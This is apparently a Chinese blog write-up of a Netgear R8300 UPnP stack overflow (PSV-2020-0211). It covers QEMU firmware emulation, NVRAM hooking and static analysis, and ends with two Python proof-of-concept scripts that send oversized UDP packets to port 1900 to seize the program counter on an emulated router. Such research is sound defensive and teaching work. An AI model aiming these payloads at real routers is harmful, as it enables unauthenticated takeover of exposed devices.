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<h1 id="Netgear-栈溢出漏洞-PSV-2020-0211"><a href="#Netgear-栈溢出漏洞-PSV-2020-0211" class="headerlink" title="Netgear_栈溢出漏洞_PSV-2020-0211"></a>Netgear_栈溢出漏洞_PSV-2020-0211</h1><p><a href="https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target="_blank" rel="noopener">https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211</a><br> <a href="https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target="_blank" rel="noopener">https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/</a><br><a href="https://paper.seebug.org/1311/#1" target="_blank" rel="noopener">https://paper.seebug.org/1311/#1</a><br><a href="https://www.anquanke.com/post/id/217606" target="_blank" rel="noopener">https://www.anquanke.com/post/id/217606</a></p>
<p><strong>固件模拟与UPnP栈溢出利用</strong></p>
<h2 id="0x00-漏洞概要"><a href="#0x00-漏洞概要" class="headerlink" title="0x00 漏洞概要"></a><strong>0x00 漏洞概要</strong></h2><table>
<thead>
<tr>
<th>漏洞编号：</th>
<th>PSV-2020-0211</th>
</tr>
</thead>
<tbody>
<tr>
<td>披露时间：</td>
<td><em> 2020 -07-31 — <a href="https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target="_blank" rel="noopener">Netgear 官方发布安全公告</a> </em> 2020-08-18 – <a href="https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target="_blank" rel="noopener">漏洞公开披露</a></td>
</tr>
<tr>
<td>影响厂商：</td>
<td>Netgear</td>
</tr>
<tr>
<td>漏洞类型：</td>
<td>栈溢出漏洞</td>
</tr>
<tr>
<td>漏洞评分（CVSS）：</td>
<td>9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</td>
</tr>
<tr>
<td>利用条件：</td>
<td>该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务，无需身份验证。</td>
</tr>
<tr>
<td>漏洞成因：</td>
<td>该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。</td>
</tr>
</tbody>
</table>
<h2 id="0x01-威胁范围"><a href="#0x01-威胁范围" class="headerlink" title="0x01 威胁范围"></a><strong>0x01 威胁范围</strong></h2><table>
<thead>
<tr>
<th>影响范围：</th>
<th>R8300 running firmware versions prior to 1.0.2.134</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZoomEye查询结果：</td>
<td>Netgear R8300共有579台设备暴露在互联网上，绝大部分分布在美国，少量设备出现在欧洲</td>
</tr>
<tr>
<td>—</td>
<td><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png" alt></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
<h2 id="0x02-Qemu模拟"><a href="#0x02-Qemu模拟" class="headerlink" title="0x02 Qemu模拟"></a>0x02 Qemu模拟</h2><table>
<thead>
<tr>
<th>真机调试</th>
<th>硬件调试接口</th>
<th>uart</th>
</tr>
</thead>
<tbody>
<tr>
<td>历史RCE</td>
<td>NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞</td>
</tr>
<tr>
<td>设备后门开启telnet</td>
<td><a href="https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500" target="_blank" rel="noopener">Unlocking the Netgear Telnet Console</a></td>
</tr>
<tr>
<td>固件篡改植入telnet</td>
<td></td>
</tr>
<tr>
<td>固件模拟</td>
<td>QEMU</td>
<td>现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。</td>
</tr>
<tr>
<td>树莓派、开发板</td>
<td>只要 CPU 指令集对的上，就可以跑起来</td>
</tr>
<tr>
<td>firmadyne</td>
<td>基于qemu定制</td>
</tr>
<tr>
<td>Qemu STM32</td>
<td></td>
</tr>
<tr>
<td>Avatar</td>
<td>混合式仿真</td>
</tr>
</tbody>
</table>
<p><a href="http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf" target="_blank" rel="noopener">嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf</a></p>
<p>由于没有真机，我们采用了固件模拟的方式来搭建分析环境。<br>首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 <a href="http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip" target="_blank" rel="noopener">http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip</a><br>使用binwalk对固件中的特征字符串进行识别，可以看到R8300采用了squashfs文件系统格式</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ binwalk R8300-V1.0.2.130_1.0.99.chk</span><br><span class="line"></span><br><span class="line">DECIMAL HEXADECIMAL DESCRIPTION</span><br><span class="line">--------------------------------------------------------------------------------</span><br><span class="line">58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0</span><br><span class="line">86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes</span><br><span class="line">2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38</span><br></pre></td></tr></table></figure>
<p>使用 <code>binwalk -Me</code> 提取出 Squashfs 文件系统，可以看到R8300为ARM v5架构.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ file usr/sbin/upnpd</span><br><span class="line">usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped</span><br></pre></td></tr></table></figure>
<h3 id="firmadyne"><a href="#firmadyne" class="headerlink" title="firmadyne"></a>firmadyne</h3><p>直接使用firmadyne模拟R8300固件失败，一是网络接口初始化失败，二是NVRAM配置存在问题<br>原因可能是：</p>
<ul>
<li>firmadyne只支持armel、mipseb、 mipsel这三种系统内核，相比我们熟悉的armel，armhf代表了另一种不兼容的二进制标准。<a href="https://people.debian.org/~aurel32/qemu/armhf/" target="_blank" rel="noopener">https://people.debian.org/~aurel32/qemu/armhf/</a></li>
<li><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png" alt></p>
</li>
<li><p>NVRAM库劫持失败，firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数<a href="https://github.com/firmadyne/libnvram" target="_blank" rel="noopener">https://github.com/firmadyne/libnvram</a></p>
</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class
<h3 id="Qemu自定义"><a href="#Qemu自定义" class="headerlink" title="Qemu自定义"></a>Qemu自定义</h3><ol>
<li><strong>配置arm虚拟机</strong></li>
</ol>
<p>使用Qemu模拟固件需要下载对应的arm虚拟机镜像，内核和initrd。<br><a href="https://people.debian.org/~aurel32/qemu/armhf/" target="_blank" rel="noopener">https://people.debian.org/~aurel32/qemu/armhf/</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M </span><br><span class="line">[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M </span><br><span class="line">[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M</span><br></pre></td></tr></table></figure>
<p>标准的虚拟机启动命令为</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append &quot;root=/dev/mmcblk0p2&quot;</span><br><span class="line">- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append &quot;root=/dev/mmcblk0p2&quot;</span><br></pre></td></tr></table></figure>
<p>对于R8300固件，在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">`sudo tunctl -t tap0 -u `whoami`</span><br><span class="line">sudo ifconfig tap0 192.168.2.1/24</span><br><span class="line">qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append &quot;root=/dev/mmcblk0p2&quot; -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`</span><br></pre></td></tr></table></figure>
<p>与标准命令区别在于<code>-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic</code><br>启动之后输入用户名和密码，都是 root，为虚拟机分配 IP：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24`</span><br></pre></td></tr></table></figure>
<p>这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">`root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc</span><br><span class="line">root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev</span><br><span class="line">root@debian-armhf:~# chroot ./squashfs-root/ sh`</span><br></pre></td></tr></table></figure>
<ol>
<li><strong>修复依赖</strong></li>
</ol>
<p>NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用 <code>LD_PRELOAD</code> 劫持以下函数符号。手动创建 <code>/tmp/var/run</code> 目录，再次运行提示缺少 <code>/dev/nvram</code>。</p>
<ul>
<li><p>编译nvram.so</p>
<p><a href="https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c" target="_blank" rel="noopener">https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c</a></p>
</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so</span><br></pre></td></tr></table></figure>
<ul>
<li>劫持<code>dlsym</code></li>
</ul>
<p>nvram库的实现者还同时 hook 了 <code>system</code>、<code>fopen</code>、<code>open</code> 等函数，因此还会用到 <code>dlsym</code>，<code>/lib/libdl.so.0</code>导出了该符号。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">`$ grep ``-``r ``&quot;dlsym&quot;`` ``.`</span><br><span class="line">`Binary`` file ``./``lib``/``libcrypto``.``so``.``1.0``.``0`` matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libdl``.``so``.``0`` matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libhcrypto``-``samba4``.``so``.``5`` matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libkrb5``-``samba4``.``so``.``26`` matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libldb``.``so``.``1`` matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libsamba``-``modules``-``samba4``.``so matches`</span><br><span class="line">`Binary`` file ``./``lib``/``libsqlite3``.``so``.``0`` matches`</span><br><span class="line">`grep``:`` ``./``lib``/``modules``/``2.6``.``36.4brcmarm``+:`` ``No`` such file ``or`` directory`</span><br><span class="line"></span><br><span class="line">$ `readelf ``-``a `**`./``lib``/``libdl``.``so``.`**`**0**`` ``|`` grep dlsym`</span><br><span class="line">` ``26``:`` ``000010f0`` ``296`` FUNC GLOBAL DEFAULT ``7`` dlsym`</span><br></pre></td></tr></table></figure>
<ul>
<li>配置tmp/nvram.ini信息</li>
</ul>
<p>接下来要做的就是根据上面的日志补全配置信息，也可以参考<a href="https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。" target="_blank" rel="noopener">https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">`upnpd_debug_level=9</span><br><span class="line">lan_ipaddr=192.168.2.2</span><br><span class="line">hwver=R8500</span><br><span class="line">friendly_name=R8300</span><br><span class="line">upnp_enable=1</span><br><span class="line">upnp_turn_on=1</span><br><span class="line">upnp_advert_period=30</span><br><span class="line">upnp_advert_ttl=4</span><br><span class="line">upnp_portmap_entry=1</span><br><span class="line">upnp_duration=3600</span><br><span class="line">upnp_DHCPServerConfigurable=1</span><br><span class="line">wps_is_upnp=0</span><br><span class="line">upnp_sa_uuid=00000000000000000000</span><br><span class="line">lan_hwaddr=AA:BB:CC:DD:EE:FF`</span><br></pre></td></tr></table></figure>
<ul>
<li>运行过程</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">**# ./usr/sbin/upnpd**</span><br><span class="line"># /dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line"></span><br><span class="line">**# LD_PRELOAD=&quot;./nvram.so&quot; ./usr/sbin/upnpd**</span><br><span class="line"># ./usr/sbin/upnpd: can&apos;t resolve symbol &apos;dlsym&apos;</span><br><span class="line"></span><br><span class="line">**# LD_PRELOAD=&quot;./nvram.so ./lib/libdl.so.0&quot; ./usr/sbin/upnpd**</span><br><span class="line"># [0x00026460] fopen(&apos;/var/run/upnpd.pid&apos;, &apos;wb+&apos;) = 0x00b19008</span><br><span class="line">[0x0002648c] custom_nvram initialised</span><br><span class="line">[0x76eb7cb8] **fopen****(&apos;/tmp/nvram.ini&apos;, &apos;r&apos;) = 0x00b19008**</span><br><span class="line">[nvram 0] upnpd_debug_level = 9</span><br><span class="line">[nvram 1] lan_ipaddr = 192.168.2.2</span><br><span class="line">[nvram 2] hwver = R8500</span><br><span class="line">[nvram 3] friendly_name = R8300</span><br><span class="line">[nvram 4] upnp_enable = 1</span><br><span class="line">[nvram 5] upnp_turn_on = 1</span><br><span class="line">[nvram 6] upnp_advert_period = 30</span><br><span class="line">[nvram 7] upnp_advert_ttl = 4</span><br><span class="line">[nvram 8] upnp_portmap_entry = 1</span><br><span class="line">[nvram 9] upnp_duration = 3600</span><br><span class="line">[nvram 10] upnp_DHCPServerConfigurable = 1</span><br><span class="line">[nvram 11] wps_is_upnp = 0</span><br><span class="line">[nvram 12] upnp_sa_uuid = 00000000000000000000</span><br><span class="line">[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF</span><br><span class="line">[nvram 14] lan_hwaddr =</span><br><span class="line">Read 15 entries from /tmp/nvram.ini</span><br><span class="line">acosNvramConfig_get(&apos;upnpd_debug_level&apos;) = &apos;9&apos;</span><br></pre></td></tr></table></figure>
<h2 id="0x03-静态分析"><a href="#0x03-静态分析" class="headerlink" title="0x03 静态分析"></a>0x03 静态分析</h2><p>该漏洞的原理是使用strcpy函数不当，拷贝过长字符导致缓冲区溢出，那么如何到达溢出位置。<br>首先upnpd服务在<code>sub_1D020()</code> 中使用<code>recvfrom()</code>从套接字接收UDP数据包，并捕获数据发送源的地址。从函数定义可知，upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54</p>
<blockquote>
<p><strong>recvfrom</strong> recvfrom函数(经socket接收数据):</p>
</blockquote>
<blockquote>
<p>函数原型:int recvfrom(SOCKET s,void <strong>*buf</strong>,int <strong>len</strong>,unsigned int flags, struct sockaddr <em>from,int </em>fromlen);</p>
</blockquote>
<blockquote>
<p>相关函数 recv，recvmsg，send，sendto，socket</p>
</blockquote>
<blockquote>
<p>函数说明:<a href="https://baike.baidu.com/item/recv%28%29" target="_blank" rel="noopener">recv()</a>用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的<a href="https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80" target="_blank" rel="noopener">网络地址</a>,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.</p>
</blockquote>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png" alt><br>在 <code>sub_25E04()</code> 中调用 <code>strcpy()</code> 将以上数据拷贝到大小为 <code>0x634 - 0x58 = 0x5dc</code> 的 buffer。如果超过缓冲区大小，数据就会覆盖栈底部分甚至返回地址。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png" alt></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">` ``+-----------------+`</span><br><span class="line">` ``|`` retaddr ``|`</span><br><span class="line">` ``+-----------------+`</span><br><span class="line">` ``|`` saved ebp ``|`</span><br><span class="line">` ebp``---&gt;+-----------------+`</span><br><span class="line">` ``|`` ``|`</span><br><span class="line">` ``|`` ``|</span><br><span class="line"> | |</span><br><span class="line"> s,ebp-0x58--&gt;+-----------------+`</span><br><span class="line">` ``|`` ``|`</span><br><span class="line">` ``|`` buffer ``|`</span><br><span class="line">` ``|`` ``|`</span><br><span class="line">` ``|`` ``|`</span><br><span class="line">` v40``,``ebp``-``0x634``--&gt;+-----------------+`</span><br></pre></td></tr></table></figure>
<h2 id="0x04-动态调试"><a href="#0x04-动态调试" class="headerlink" title="0x04 动态调试"></a>0x04 动态调试</h2><p>使用gdbserver调试目标程序<a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver" target="_blank" rel="noopener">https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># ps|grep upnp</span><br><span class="line"> 2714 0 3324 S ./usr/sbin/upnpd</span><br><span class="line"> 2788 0 1296 S grep upnp</span><br><span class="line"># ./gdbserver 127.0.0.1:12345 --attach 2714</span><br><span class="line">Attached; pid = 2714</span><br><span class="line">Listening on port 12345</span><br></pre></td></tr></table></figure>
<p>工作机上使用跨平台试gdb-multiarch<br><code>gdb-multiarch -x dbgscript</code><br>dbgscript 内容</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">`set`` architecture arm`</span><br><span class="line">`gef``-``remote ``-``q ``192.168``.2``.1``:``12345`</span><br><span class="line">`file usr``/``sbin``/``upnpd`</span><br><span class="line">`set`` remote ``exec``-``file ``/``usr``/``sbin``/upnpd`</span><br></pre></td></tr></table></figure>
<p>直接构造溢出字符，程序不会正常返回，因为栈上存在一个v40的指针v51，需要覆盖为有效地址才能正确返回。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png" alt></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/python3</span><br><span class="line"></span><br><span class="line">import socket</span><br><span class="line">import struct</span><br><span class="line"></span><br><span class="line">p32 = lambda x: struct.pack(&quot;&lt;L&quot;, x)</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">payload = (</span><br><span class="line"> 0x634 * b&apos;a&apos; +</span><br><span class="line"> p32(0x43434343)</span><br><span class="line">)</span><br><span class="line">print(payload)</span><br><span class="line">s.connect((&apos;192.168.2.2&apos;, 1900))</span><br><span class="line">s.send(payload)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png" alt><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/python3</span><br><span class="line"></span><br><span class="line">import socket</span><br><span class="line">import struct</span><br><span class="line"></span><br><span class="line">p32 = lambda x: struct.pack(&quot;&lt;L&quot;, x)</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">payload = (</span><br><span class="line"> 0x604 * b&apos;a&apos; + # dummy</span><br><span class="line"> p32(0x7e2da53c) + # v51</span><br><span class="line"> (0x634 - 0x604 - 8) * b&apos;a&apos; + # dummy</span><br><span class="line"> p32(0x43434343) # LR</span><br><span class="line">)</span><br><span class="line">s.connect((&apos;192.168.2.2&apos;, 1900))</span><br><span class="line">s.send(payload)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure></p>
<p>可以看到，我们向返回地址发送的数据为0x43434343，但最后PC寄存器的值为0x43434342，最后一个bit变为0，这是为什么？<a href="https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html" target="_blank" rel="noopener">https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html</a></p>
<ul>
<li>首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值，保存的LR就被弹出到PC中返回给调用者。</li>
<li>其次关于最低有效位的一个注意事项：BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位，CPSR寄存器在ARM和Thumb模式之间切换：ARM（LSB=0）/Thumb（LSB=1）。<ul>
<li>我们可以看到R7300是运行在THUMB状态</li>
<li>当处理器处于ARM状态时，每条ARM指令为4个字节，所以PC寄存器的值为当前指令地址 + 8字节</li>
<li>当处理器处于Thumb状态时，每条Thumb指令为2字节，所以PC寄存器的值为当前指令地址 + 4字节</li>
</ul>
</li>
<li>因此保存的LR（用0x43434343覆盖）被弹出到PC中，然后弹出地址的LSB被写入CPSR寄存器T位（位5），最后PC本身的LSB被设置为0，从而产生0x43434342。</li>
</ul>
<p>最后检查程序的缓解措施。程序本身开启了NX，之前用过R7000的真机，设备开了ASLR<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png" alt><br>在堆栈恢复前下一个断点，观察控制流转移情况，将PC指针控制为重启指令。通过 hook 的日志可以看到，ROP 利用链按照预期工作（由于模拟环境的问题，reboot 命令运行段错误了…）</p>
